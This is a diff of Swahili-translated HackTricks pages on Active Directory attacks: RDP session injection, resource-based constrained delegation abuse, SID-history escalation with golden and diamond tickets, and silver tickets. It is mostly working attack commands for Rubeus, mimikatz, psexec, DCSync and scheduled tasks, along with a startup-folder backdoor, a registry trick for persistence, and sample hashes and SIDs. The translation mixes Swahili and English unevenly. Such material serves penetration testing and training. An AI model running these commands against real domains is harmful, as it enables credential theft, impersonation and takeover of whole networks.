Kikundi hiki kina ruhusa za kufanya usanidi mbalimbali kwenye Wasimamizi wa Kikoa, ikiwa ni pamoja na ruhusa za kuhifadhi na kurejesha, kubadilisha muda wa mfumo, na kuzima mfumo. Ili kuhesabu wanachama, amri iliyotolewa ni:
```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
## References <a href="#references" id="references"></a>

View File

@ -4,10 +4,10 @@
## RDP Process Injection
Ikiwa **kikundi cha nje** kina **ufikiaji wa RDP** kwa **kompyuta** yoyote katika eneo la sasa, **mshambuliaji** anaweza **kuharibu kompyuta hiyo na kumsubiri**.
Ikiwa **kikundi cha nje** kina **ufikiaji wa RDP** kwa **kompyuta** yoyote katika eneo la sasa, **mshambuliaji** anaweza **kudhoofisha kompyuta hiyo na kumsubiri**.
Mara tu mtumiaji huyo anapofikia kupitia RDP, **mshambuliaji anaweza kuhamasisha kwenye kikao cha mtumiaji huyo** na kutumia ruhusa zake katika eneo la nje.
```powershell
```bash
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
@ -30,14 +30,14 @@ PID PPID Name Arch Session User
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
```
Angalia **njia nyingine za kuiba vikao kwa kutumia zana nyingine** [**katika ukurasa huu.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
Check **njia nyingine za kuiba vikao kwa kutumia zana nyingine** [**katika ukurasa huu.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
## RDPInception
Ikiwa mtumiaji anapata kupitia **RDP kwenye mashine** ambapo **mshambuliaji** anangojea, mshambuliaji ataweza **kuingiza beacon katika kikao cha RDP cha mtumiaji** na ikiwa **mhasiriwa ameunganisha diski yake** alipoingia kupitia RDP, **mshambuliaji anaweza kuipata**.
Ikiwa mtumiaji anapata **RDP kwenye mashine** ambapo **mshambuliaji** anangojea, mshambuliaji ataweza **kuiingiza beacon katika kikao cha RDP cha mtumiaji** na ikiwa **mhasiriwa ameunganisha diski yake** alipoingia kupitia RDP, **mshambuliaji anaweza kuipata**.
Katika kesi hii unaweza tu **kudhoofisha** **kompyuta** ya **mhasiriwa** kwa kuandika **backdoor** katika **folda ya kuanzisha**.
```powershell
Katika kesi hii unaweza tu **kuharibu** **kompyuta** ya **mhasiriwa** kwa kuandika **backdoor** katika **folda ya kuanzisha**.
```bash
# Wait til someone logs in:
net logons
Logged on users at \\localhost:

View File

@ -5,18 +5,18 @@
## Msingi wa Resource-based Constrained Delegation
Hii ni sawa na [Constrained Delegation](constrained-delegation.md) ya msingi lakini **badala** ya kutoa ruhusa kwa **kitu** ku **wakilisha mtumiaji yeyote dhidi ya huduma**. Resource-based Constrained Delegation **inasanifisha** katika **kitu ambacho kinaweza kuwakilisha mtumiaji yeyote dhidi yake**.
Hii ni sawa na [Constrained Delegation](constrained-delegation.md) ya msingi lakini **badala** ya kutoa ruhusa kwa **kitu** ku **jifanya kama mtumiaji yeyote dhidi ya mashine**. Resource-based Constrained Delegation **inasanifisha** katika **kitu ambacho kinaweza kujifanya kama mtumiaji yeyote dhidi yake**.
Katika kesi hii, kitu kilichozuiliwa kitakuwa na sifa inayoitwa _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ yenye jina la mtumiaji ambaye anaweza kuwakilisha mtumiaji mwingine yeyote dhidi yake.
Katika kesi hii, kitu kilichozuiliwa kitakuwa na sifa inayoitwa _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ yenye jina la mtumiaji ambaye anaweza kujifanya kama mtumiaji mwingine dhidi yake.
Tofauti nyingine muhimu kutoka kwa Constrained Delegation hii hadi delegations nyingine ni kwamba mtumiaji yeyote mwenye **ruhusa za kuandika juu ya akaunti ya mashine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) anaweza kuweka _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Katika aina nyingine za Delegation ulihitaji ruhusa za admin wa kikoa).
Tofauti nyingine muhimu kutoka kwa Constrained Delegation hii hadi kwa delegations nyingine ni kwamba mtumiaji yeyote mwenye **ruhusa za kuandika juu ya akaunti ya mashine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) anaweza kuweka **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (Katika aina nyingine za Delegation ulihitaji ruhusa za admin wa domain).
### Dhana Mpya
Katika Constrained Delegation ilisemwa kwamba bendera ya **`TrustedToAuthForDelegation`** ndani ya thamani ya _userAccountControl_ ya mtumiaji inahitajika ili kutekeleza **S4U2Self.** Lakini hiyo si kweli kabisa.\
Ukweli ni kwamba hata bila thamani hiyo, unaweza kutekeleza **S4U2Self** dhidi ya mtumiaji yeyote ikiwa wewe ni **huduma** (una SPN) lakini, ikiwa una **`TrustedToAuthForDelegation`** TGS iliyorejeshwa itakuwa **Forwardable** na ikiwa **huna** bendera hiyo TGS iliyorejeshwa **haitakuwa** **Forwardable**.
Hata hivyo, ikiwa **TGS** iliyotumika katika **S4U2Proxy** **SIO Forwardable** kujaribu kutumia **Constrain Delegation ya msingi** haitafanya kazi. Lakini ikiwa unajaribu kutumia **Resource-Based constrain delegation, itafanya kazi** (hii si udhaifu, ni kipengele, kwa wazi).
Hata hivyo, ikiwa **TGS** iliyotumika katika **S4U2Proxy** **SIO Forwardable** kujaribu kutumia **Constrain Delegation ya msingi** hakutafanya kazi. Lakini ikiwa unajaribu kutumia **Resource-Based constrain delegation, itafanya kazi**.
### Muundo wa Shambulio
@ -24,39 +24,39 @@ Hata hivyo, ikiwa **TGS** iliyotumika katika **S4U2Proxy** **SIO Forwardable** k
Fikiria kwamba mshambuliaji tayari ana **ruhusa sawa za kuandika juu ya kompyuta ya mwathirika**.
1. Mshambuliaji **anachafua** akaunti ambayo ina **SPN** au **anaunda moja** (“Huduma A”). Kumbuka kwamba **mtumiaji yeyote** _Admin User_ bila ruhusa nyingine maalum anaweza **kuunda** hadi 10 **vitu vya Kompyuta (**_**MachineAccountQuota**_**)** na kuziweka SPN. Hivyo mshambuliaji anaweza tu kuunda kitu cha Kompyuta na kuweka SPN.
2. Mshambuliaji **anatumia ruhusa zake za KUANDIKA** juu ya kompyuta ya mwathirika (HudumaB) ili kuunda **resource-based constrained delegation ili kuruhusu HudumaA kuwakilisha mtumiaji yeyote** dhidi ya kompyuta hiyo ya mwathirika (HudumaB).
1. Mshambuliaji **anachafua** akaunti ambayo ina **SPN** au **anaunda moja** (“Huduma A”). Kumbuka kwamba **mtumiaji yeyote** _Admin User_ bila ruhusa nyingine maalum anaweza **kuunda** hadi vitu 10 vya Kompyuta (**_MachineAccountQuota_**) na kuviweka **SPN**. Hivyo mshambuliaji anaweza tu kuunda kitu cha Kompyuta na kuweka SPN.
2. Mshambuliaji **anatumia ruhusa zake za KUANDIKA** juu ya kompyuta ya mwathirika (HudumaB) ili kuunda **resource-based constrained delegation ili kuruhusu HudumaA kujifanya kama mtumiaji yeyote** dhidi ya kompyuta hiyo ya mwathirika (HudumaB).
3. Mshambuliaji anatumia Rubeus kutekeleza **shambulio kamili la S4U** (S4U2Self na S4U2Proxy) kutoka Huduma A hadi Huduma B kwa mtumiaji **aliye na ufikiaji wa ruhusa kwa Huduma B**.
1. S4U2Self (kutoka akaunti ya SPN iliyochafuliwa/iliyoundwa): Omba **TGS ya Msimamizi kwangu** (Sio Forwardable).
2. S4U2Proxy: Tumia **TGS isiyo Forwardable** ya hatua iliyopita kuomba **TGS** kutoka **Msimamizi** hadi **kompyuta ya mwathirika**.
3. Hata kama unatumia TGS isiyo Forwardable, kwani unatumia Resource-based constrained delegation, itafanya kazi.
4. Mshambuliaji anaweza **kupitisha tiketi** na **kuwakilisha** mtumiaji ili kupata **ufikiaji kwa HudumaB ya mwathirika**.
3. Hata kama unatumia TGS isiyo Forwardable, kwa kuwa unatumia Resource-based constrained delegation, itafanya kazi.
4. Mshambuliaji anaweza **kupitisha tiketi** na **kujifanya** kama mtumiaji ili kupata **ufikiaji kwa HudumaB ya mwathirika**.
Ili kuangalia _**MachineAccountQuota**_ ya kikoa unaweza kutumia:
```powershell
Ili kuangalia _**MachineAccountQuota**_ ya domain unaweza kutumia:
```bash
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
## Shambulio
### Kuunda Kituo cha Kompyuta
Unaweza kuunda kituo cha kompyuta ndani ya eneo kutumia [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
```powershell
Unaweza kuunda kituo cha kompyuta ndani ya eneo kutumia **[powermad](https://github.com/Kevin-Robertson/Powermad):**
```bash
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
# Check if created
Get-DomainComputer SERVICEA
```
### Kuunda R**esource-based Constrained Delegation**
### Kuunda Uwakilishi wa Kizazi Kizuri Kulingana na Rasilimali
**Kutumia moduli ya activedirectory PowerShell**
```powershell
```bash
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
```
**Kutumia powerview**
```powershell
```bash
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
@ -76,17 +76,17 @@ Kwanza kabisa, tuliumba kituo kipya cha Kompyuta chenye nenosiri `123456`, hivyo
```bash
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
```
Hii itachapisha hash za RC4 na AES kwa akaunti hiyo.\
Hii itachapisha hash za RC4 na AES za akaunti hiyo.\
Sasa, shambulio linaweza kufanywa:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
Unaweza kuunda tiketi zaidi kwa kuomba mara moja ukitumia paramu ya `/altservice` ya Rubeus:
Unaweza kuunda tiketi zaidi za huduma zaidi kwa kuuliza mara moja ukitumia param ya `/altservice` ya Rubeus:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
> [!CAUTION]
> Kumbuka kwamba watumiaji wana sifa inayoitwa "**Cannot be delegated**". Ikiwa mtumiaji ana sifa hii kuwa Kweli, huwezi kumwakilisha. Mali hii inaweza kuonekana ndani ya bloodhound.
> Kumbuka kwamba watumiaji wana sifa inayoitwa "**Haiwezi kuwakilishwa**". Ikiwa mtumiaji ana sifa hii kuwa Kweli, huwezi kumwakilisha. Mali hii inaweza kuonekana ndani ya bloodhound.
### Accessing
@ -95,18 +95,18 @@ Katika mfano huu, ilihitajika TGS kwa huduma ya **CIFS** kutoka kwa Administrato
```bash
ls \\victim.domain.local\C$
```
### Tumia tiketi tofauti za huduma
### Dhulumu tiketi tofauti za huduma
Jifunze kuhusu [**tiketi za huduma zinazopatikana hapa**](silver-ticket.md#available-services).
## Makosa ya Kerberos
- **`KDC_ERR_ETYPE_NOTSUPP`**: Hii inamaanisha kwamba kerberos imewekwa kutotumia DES au RC4 na unatoa tu hash ya RC4. Toa kwa Rubeus angalau hash ya AES256 (au toa tu hash za rc4, aes128 na aes256). Mfano: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`**: Hii inamaanisha kwamba wakati wa kompyuta ya sasa ni tofauti na wa DC na kerberos haifanyi kazi ipasavyo.
- **`preauth_failed`**: Hii inamaanisha kwamba jina la mtumiaji + hash zilizotolewa hazifanyi kazi kuingia. Huenda umesahau kuweka "$" ndani ya jina la mtumiaji unapozalisha hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
- **`KRB_AP_ERR_SKEW`**: Hii inamaanisha kwamba wakati wa kompyuta ya sasa ni tofauti na ile ya DC na kerberos haifanyi kazi ipasavyo.
- **`preauth_failed`**: Hii inamaanisha kwamba jina la mtumiaji lililotolewa + hash hazifanyi kazi kuingia. Huenda umesahau kuweka "$" ndani ya jina la mtumiaji unapozalisha hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
- **`KDC_ERR_BADOPTION`**: Hii inaweza kumaanisha:
- Mtumiaji unayejaribu kujifanya hawezi kufikia huduma inayotakiwa (kwa sababu huwezi kujifanya au kwa sababu hana ruhusa za kutosha)
- Huduma iliyoulizwa haipo (ikiwa unahitaji tiketi ya winrm lakini winrm haifanyi kazi)
- Mtumiaji unayejaribu kujifanya haiwezi kufikia huduma inayotakiwa (kwa sababu huwezi kujifanya au kwa sababu haina ruhusa za kutosha)
- Huduma iliyoulizwa haipo (ikiwa unahitaji tiketi kwa winrm lakini winrm haifanyi kazi)
- Kompyuta ya bandia iliyoundwa imepoteza ruhusa zake juu ya seva iliyo hatarini na unahitaji kuzirudisha.
## Marejeleo
@ -115,5 +115,6 @@ Jifunze kuhusu [**tiketi za huduma zinazopatikana hapa**](silver-ticket.md#avail
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,46 @@
## SID History Injection Attack
Lengo la **SID History Injection Attack** ni kusaidia **uhamaji wa watumiaji kati ya maeneo** huku ikihakikisha ufikiaji wa rasilimali kutoka eneo la zamani. Hii inafanywa kwa **kujumuisha Kitambulisho cha Usalama (SID) cha mtumiaji wa zamani katika SID History** ya akaunti yao mpya. Kwa kuzingatia, mchakato huu unaweza kudhibitiwa ili kutoa ufikiaji usioidhinishwa kwa kuongeza SID ya kundi lenye mamlaka makubwa (kama vile Enterprise Admins au Domain Admins) kutoka eneo la mzazi kwenye SID History. Ukatili huu unatoa ufikiaji wa rasilimali zote ndani ya eneo la mzazi.
Lengo la **SID History Injection Attack** ni kusaidia **uhamaji wa watumiaji kati ya maeneo** huku ikihakikisha upatikanaji wa rasilimali kutoka eneo la zamani. Hii inafanywa kwa **kujumuisha Kitambulisho cha Usalama (SID) cha mtumiaji wa zamani katika SID History** ya akaunti yao mpya. Kwa kuzingatia, mchakato huu unaweza kudhibitiwa ili kutoa upatikanaji usioidhinishwa kwa kuongeza SID ya kundi lenye mamlaka makubwa (kama vile Enterprise Admins au Domain Admins) kutoka eneo la mzazi kwenye SID History. Ukatili huu unatoa upatikanaji wa rasilimali zote ndani ya eneo la mzazi.
Njia mbili zipo za kutekeleza shambulio hili: kupitia uundaji wa **Golden Ticket** au **Diamond Ticket**.
Ili kubaini SID ya kundi la **"Enterprise Admins"**, mtu lazima kwanza apate SID ya eneo la mzazi. Baada ya kutambua, SID ya kundi la Enterprise Admins inaweza kuundwa kwa kuongeza `-519` kwenye SID ya eneo la mzazi. Kwa mfano, ikiwa SID ya eneo la mzazi ni `S-1-5-21-280534878-1496970234-700767426`, SID inayotokana na kundi la "Enterprise Admins" itakuwa `S-1-5-21-280534878-1496970234-700767426-519`.
Ili kubaini SID ya kundi la **"Enterprise Admins"**, mtu lazima kwanza apate SID ya eneo la mzizi. Baada ya kutambua, SID ya kundi la Enterprise Admins inaweza kujengwa kwa kuongeza `-519` kwenye SID ya eneo la mzizi. Kwa mfano, ikiwa SID ya eneo la mzizi ni `S-1-5-21-280534878-1496970234-700767426`, SID inayotokana na kundi la "Enterprise Admins" itakuwa `S-1-5-21-280534878-1496970234-700767426-519`.
Unaweza pia kutumia vikundi vya **Domain Admins**, ambavyo vinamalizika na **512**.
Unaweza pia kutumia vikundi vya **Domain Admins**, ambavyo vinamalizika kwa **512**.
Njia nyingine ya kupata SID ya kundi la eneo lingine (kwa mfano "Domain Admins") ni kwa:
```powershell
```bash
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
> [!WARNING]
> Kumbuka kwamba inawezekana kuzima historia ya SID katika uhusiano wa kuaminiana ambayo itafanya shambulio hili kushindwa.
Kulingana na [**docs**](https://technet.microsoft.com/library/cc835085.aspx):
- **Kuzima SIDHistory kwenye uhusiano wa msitu** kwa kutumia zana ya netdom (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`)
- **Kuweka Kizuizi cha SID kwa uhusiano wa nje** kwa kutumia zana ya netdom (`netdom trust /domain: /quarantine:yes on the domain controller`)
- **Kuweka Kichujio cha SID kwa uhusiano wa kikoa ndani ya msitu mmoja** hakupendekezwi kwani ni usanidi usio na msaada na unaweza kusababisha mabadiliko mabaya. Ikiwa kikoa ndani ya msitu si cha kuaminika basi hakipaswi kuwa mwanachama wa msitu. Katika hali hii ni muhimu kwanza kugawanya kikoa kinachoweza kuaminika na kisichoweza kuaminika katika misitu tofauti ambapo Kichujio cha SID kinaweza kutumika kwa uhusiano wa interforest.
Angalia chapisho hili kwa maelezo zaidi kuhusu kupita hili: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
### Tiketi ya Diamond (Rubeus + KRBTGT-AES256)
Mara ya mwisho nilipojaribu hili nilihitaji kuongeza arg **`/ldap`**.
```bash
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
# Or a ptt with a golden ticket
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
#e.g.
execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
# You can use "Administrator" as username or any other string
```
### Golden Ticket (Mimikatz) na KRBTGT-AES256
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
@ -39,16 +67,7 @@ Kwa maelezo zaidi kuhusu tiketi za dhahabu angalia:
golden-ticket.md
{{#endref}}
### Tiketi ya Almasi (Rubeus + KRBTGT-AES256)
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
```
Kwa maelezo zaidi kuhusu tiketi za almasi angalia:
{{#ref}}
@ -59,7 +78,7 @@ diamond-ticket.md
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
Pandisha kwa DA wa root au admin wa Enterprise kwa kutumia hash ya KRBTGT ya eneo lililoathirika:
Pandisha hadi DA wa root au admin wa Enterprise kwa kutumia hash ya KRBTGT ya eneo lililoathirika:
```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
@ -101,9 +120,9 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
```
#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
Hii ni skripti ya Impacket ambayo itafanya **kuongeza kiwango kutoka kwa domain ya mtoto hadi domain ya mzazi**. Skripti inahitaji:
Hii ni skripti ya Impacket ambayo itafanya **kuongeza hadhi kutoka kwa domain ya mtoto hadi domain ya mzazi**. Skripti inahitaji:
- Kituo cha kudhibiti domain kilicholengwa
- Kituo cha kudhibiti domain ya lengo
- Akawasilisha kwa mtumiaji wa admin katika domain ya mtoto
Mchakato ni:

View File

@ -6,7 +6,11 @@
## Silver ticket
Shambulio la **Silver Ticket** linahusisha unyakuzi wa tiketi za huduma katika mazingira ya Active Directory (AD). Njia hii inategemea **kupata NTLM hash ya akaunti ya huduma**, kama akaunti ya kompyuta, ili kuunda tiketi ya Ticket Granting Service (TGS). Kwa tiketi hii iliyoundwa, mshambuliaji anaweza kufikia huduma maalum kwenye mtandao, **akijifanya kuwa mtumiaji yeyote**, kwa kawaida akilenga mamlaka ya usimamizi. Inasisitizwa kwamba kutumia funguo za AES kwa ajili ya kuunda tiketi ni salama zaidi na si rahisi kugundulika.
Shambulio la **Silver Ticket** linahusisha unyakuzi wa tiketi za huduma katika mazingira ya Active Directory (AD). Njia hii inategemea **kupata NTLM hash ya akaunti ya huduma**, kama akaunti ya kompyuta, ili kuunda tiketi ya Ticket Granting Service (TGS). Kwa tiketi hii iliyoundwa, mshambuliaji anaweza kufikia huduma maalum kwenye mtandao, **akijifanya kuwa mtumiaji yeyote**, kwa kawaida akilenga haki za usimamizi. Inasisitizwa kwamba kutumia funguo za AES kwa ajili ya kuunda tiketi ni salama zaidi na zisizoweza kugundulika.
> [!WARNING]
> Silver Tickets hazigunduliki kwa urahisi kama Golden Tickets kwa sababu zinahitaji tu **hash ya akaunti ya huduma**, si akaunti ya krbtgt. Hata hivyo, zinapungukiwa na huduma maalum wanazolenga. Aidha, kuiba tu nenosiri la mtumiaji.
Zaidi ya hayo, ikiwa unavunja **nenosiri la akaunti na SPN** unaweza kutumia nenosiri hilo kuunda Silver Ticket ukijifanya kuwa mtumiaji yeyote kwa huduma hiyo.
Kwa ajili ya kuunda tiketi, zana tofauti zinatumika kulingana na mfumo wa uendeshaji:
@ -18,6 +22,11 @@ python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### Kwenye Windows
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
@ -28,52 +37,56 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
Huduma ya CIFS inasisitizwa kama lengo la kawaida kwa kupata mfumo wa faili wa mwathirika, lakini huduma nyingine kama HOST na RPCSS pia zinaweza kutumika kwa kazi na maswali ya WMI.
The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
## Huduma Zinazopatikana
## Available Services
| Aina ya Huduma | Tiketi za Fedha za Huduma za Silver |
| Service Type | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Kulingana na OS pia:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>Katika matukio mengine unaweza tu kuuliza: WINRM</p> |
| Kazi za Ratiba | HOST |
| Kushiriki Faili za Windows, pia psexec | CIFS |
| Operesheni za LDAP, ikiwa ni pamoja na DCSync | LDAP |
| Zana za Usimamizi wa Server ya Mbali ya Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Tiketi za Dhahabu | krbtgt |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
Kwa kutumia **Rubeus** unaweza **kuomba zote** tiketi hizi kwa kutumia parameter:
Using **Rubeus** you may **ask for all** these tickets using the parameter:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Vitambulisho vya Tukio la Tiketi za Silver
### Silver tickets Event IDs
- 4624: Kuingia kwa Akaunti
- 4634: Kutoka kwa Akaunti
- 4672: Kuingia kwa Admin
- 4624: Account Logon
- 4634: Account Logoff
- 4672: Admin Logon
## Kutumia Tiketi za Huduma
## Persistence
Katika mifano ifuatayo hebu tuwaze kwamba tiketi inapatikana kwa kujifanya kuwa akaunti ya msimamizi.
To avoid machines from rotating their password every 30 days set `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` or you could set `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` to a bigger value than 30days to indicate the rotation perdiod when the machines password should be rotated.
## Abusing Service tickets
In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.
### CIFS
Kwa tiketi hii utaweza kufikia folda za `C$` na `ADMIN$` kupitia **SMB** (ikiwa zimewekwa wazi) na nakala za faili sehemu ya mfumo wa faili wa mbali kwa kufanya kitu kama:
With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Utapata pia uwezo wa kupata shell ndani ya mwenyeji au kutekeleza amri zisizo na mpangilio ukitumia **psexec**:
Utapata pia uwezo wa kupata shell ndani ya mwenyeji au kutekeleza amri za kawaida ukitumia **psexec**:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
{{#endref}}
### MWEZI
### HOST
Kwa ruhusa hii unaweza kuunda kazi zilizopangwa katika kompyuta za mbali na kutekeleza amri zisizo na mpangilio:
Kwa ruhusa hii unaweza kuunda kazi za ratiba katika kompyuta za mbali na kutekeleza amri za kawaida:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -109,32 +122,34 @@ Kwa ufikiaji wa winrm juu ya kompyuta unaweza **kuipata** na hata kupata PowerSh
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Angalia ukurasa ufuatao kujifunza **njia zaidi za kuungana na mwenyeji wa mbali kwa kutumia winrm**:
Check the following page to learn **njia zaidi za kuungana na mwenyeji wa mbali kwa kutumia winrm**:
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> Kumbuka kwamba **winrm lazima iwe hai na inasikiliza** kwenye kompyuta ya mbali ili kuweza kuipata.
> Note that **winrm lazima iwe hai na inasikiliza** kwenye kompyuta ya mbali ili kuweza kuipata.
### LDAP
Kwa ruhusa hii unaweza kutupa database ya DC kwa kutumia **DCSync**:
With this privilege you can dump the DC database using **DCSync**:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**Jifunze zaidi kuhusu DCSync** katika ukurasa ufuatao:
## Marejeo
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
{{#ref}}
dcsync.md
{{#endref}}
## Marejeleo
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,42 +4,49 @@
## Unconstrained delegation
